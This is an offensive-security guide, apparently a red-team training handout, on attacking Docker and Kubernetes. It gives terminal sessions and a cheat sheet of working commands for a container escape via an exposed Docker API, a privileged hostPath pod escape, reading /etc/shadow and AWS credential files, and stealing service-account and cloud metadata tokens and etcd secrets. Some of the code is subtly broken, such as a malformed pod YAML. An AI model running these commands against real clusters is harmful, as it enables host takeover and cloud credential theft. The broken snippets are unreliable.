



◆ OFFENSIVE SECURITY SERIES ◆

CONTAINERS & KUBERNETES

Docker Escape, K8s RBAC, Pod Escape & Cloud Credential Theft

Docker · K8s API · RBAC · Pod Escape · etcd · EKS · GKE · kube-hunter

Docker TCP 2375

K8s RBAC

Pod Escape

Secret Dump

Cloud Creds

etcd

kube-hunter

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

■ LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

CONTAINERS & KUBERNETES — Docker Escape, K8s RBAC, Pod Escape & Cloud Credential Theft

01.	DOCKER TCP 2375 — CONTAINER ESCAPE TO HOST
02.	K8s UNAUTHENTICATED API + CLOUD CREDs FROM POD
03.	KUBERNETES — PRIVILEGED POD HOST ESCAPE
04.	CONTAINERS & K8s CHEAT SHEET



01 — DOCKER DAEMON

TCP 2375 → Host Root

```

Docker TCP 2375 – Container Escape to Host

# Docker daemon exposed on TCP 2375 – instant RCE
(kali)-[~]
kali $ curl http://10.10.10.100:2375/v1.24/containers/json | python3 -m json.tool | grep -E "Image|Names|Status"
"Image": "webapp:latest",
"Names": ["/webapp"],
"Status": "Up 3 days",
"Image": "mysql:8.0",
"Names": ["/mysql"],
"Status": "Up 3 days",

# Create privileged container and escape to host
(kali)-[~]
kali $ export DOCKER_HOST=tcp://10.10.10.100:2375 && docker run -it --rm --privileged --pid=host ubuntu nsenter -t 1
-m -u -i -n /bin/bash
root@10.10.10.100:/#

(kali)-[~]
kali $ id
uid=0(root) gid=0(root) groups=0(root)
(kali)-[~]
kali $ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
(kali)-[~]
kali $ cat /root/.aws/credentials 2>/dev/null
[default]
aws_access_key_id = AKIAIOSFODNN7HOSTCREDS
aws_secret_access_key = HostMachineSecretKey123XYZ

```

Figure: Docker API unauthenticated, privileged container escapes via nsenter — host root + AWS creds



02 — K8S API

Unauth Access + Pod Creds

```

K8s Unauthenticated API + Cloud Creds from Pod

# Check K8s API for unauthenticated access
(kali)-[~]
kali $ curl -sk https://10.10.10.100:6443/api/v1/pods | python3 -m json.tool | grep "namespace\|podIP" | head -10
{"namespace": "production",
 "podIP": "10.244.1.5",
 "namespace": "kube-system",
 "podIP": "10.244.0.3",
# Unauthenticated K8s API access confirmed!

# Steal cloud creds from inside a pod
(kali)-[~]
kali $ kubectl exec -it webapp-pod-abc123 -- /bin/bash
root@webapp-pod-abc123:/#

(kali)-[~]
kali $ cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d. -f2 | base64 -d | python3 -m json.tool
{
  "iss": "https://container.googleapis.com/v1/projects/targetproject",
  "sub": "system:serviceaccount:production:webapp-sa",
  "kubernetes.io/serviceaccount/namespace": "production"
}

# Use token to call GKE metadata for cloud creds
(kali)-[~]
kali $ curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
{"access_token": "ya29.c.c0AY_VpZhB5K2...", "expires_in": 3599, "token_type": "Bearer"

```

Figure: K8s API unauthenticated, pod SA token found, GKE metadata returns cloud access token



03 — PRIVILEGED POD

Host Path Escape

```
Kubernetes - Privileged Pod Host Escape

# Create privileged pod to escape to host
(kali)-[~]
kali $ cat > evil-pod.yaml << 'EOF'
  apiVersion: v1
  kind: Pod
  metadata:
    name: evil-pod
  spec:
    containers:
    - name: evil-pod
      image: busybox
      command: ['cat', '/etc/shadow | head -3']
      securityContext:
        privileged: true
    hostPath:
      path: /
    hostPath:
      path: /
(kali)-[~]
kali $ kubectl logs evil-pod
uid=0(root) gid=0(root) groups=0(root)
root:$6$xyz$AbCdEfGhIjKlMnOpQrStUvWx:19000:0:99999:7:::
daemon*:19000:0:99999:7:::
node1-user:$6$abc$XyZaBcDeFgHiJkLmNoPqRs:19000:0:99999:7:::
```

Figure: Privileged pod with hostPath / mount reads /etc/shadow from host as root



04 — CHEAT SHEET

Quick Reference

Docker API check	<code>curl http://TARGET:2375/v1.24/containers/json (200 = exposed!)</code>
Docker host escape	<code>DOCKER_HOST=tcp://TARGET:2375 docker run -it --rm --privileged --pid=host ubuntu nsenter -t 1 -m -u -i -n /bin/bash</code>
Docker host mount	<code>docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash</code>
Inspect container env	<code>docker inspect \$(docker ps -q) python3 -c "import sys,json; [print(c['Name'],e) for c in json.load(sys.stdin) for e in c.get('Config',{}).get('Env',[])]"</code>
K8s API unauth check	<code>curl -sk https://K8S_API:6443/api/v1/pods (200 = unauthenticated)</code>
K8s from pod	<code>TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) && curl -sk -H "Authorization: Bearer \$TOKEN" https://kubernetes.default.svc/api/v1/pods</code>
K8s can-i	<code>kubectl auth can-i --list</code>
K8s dump secrets	<code>kubectl get secrets --all-namespaces -o json</code>
K8s exec pod	<code>kubectl exec -it POD_NAME -- /bin/bash</code>
Privileged pod escape	<code>kubectl apply -f evil-pod.yaml (hostPath / mount + hostPID: true)</code>
EKS metadata creds	<code>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>
GKE metadata token	<code>curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token</code>
AKS IMDS token	<code>curl -H "Metadata: true" http://169.254.169.254/metadata/identity/oauth2/token?...</code>
etcd dump	<code>etcdctl --endpoints https://ETCD:2379 get /registry/secrets/ --prefix</code>
kube-hunter	<code>docker run -it --rm --network host aquasec/kube-hunter</code>
kube-bench	<code>docker run --rm -v /etc:/etc:ro aquasec/kube-bench</code>
Check privileged pods	<code>kubectl get pods -o json python3 -c "find containers with securityContext.privileged==true"</code>
Check hostPath	<code>kubectl get pods -o yaml grep -A3 hostPath (/ mount = CRITICAL FINDING)</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.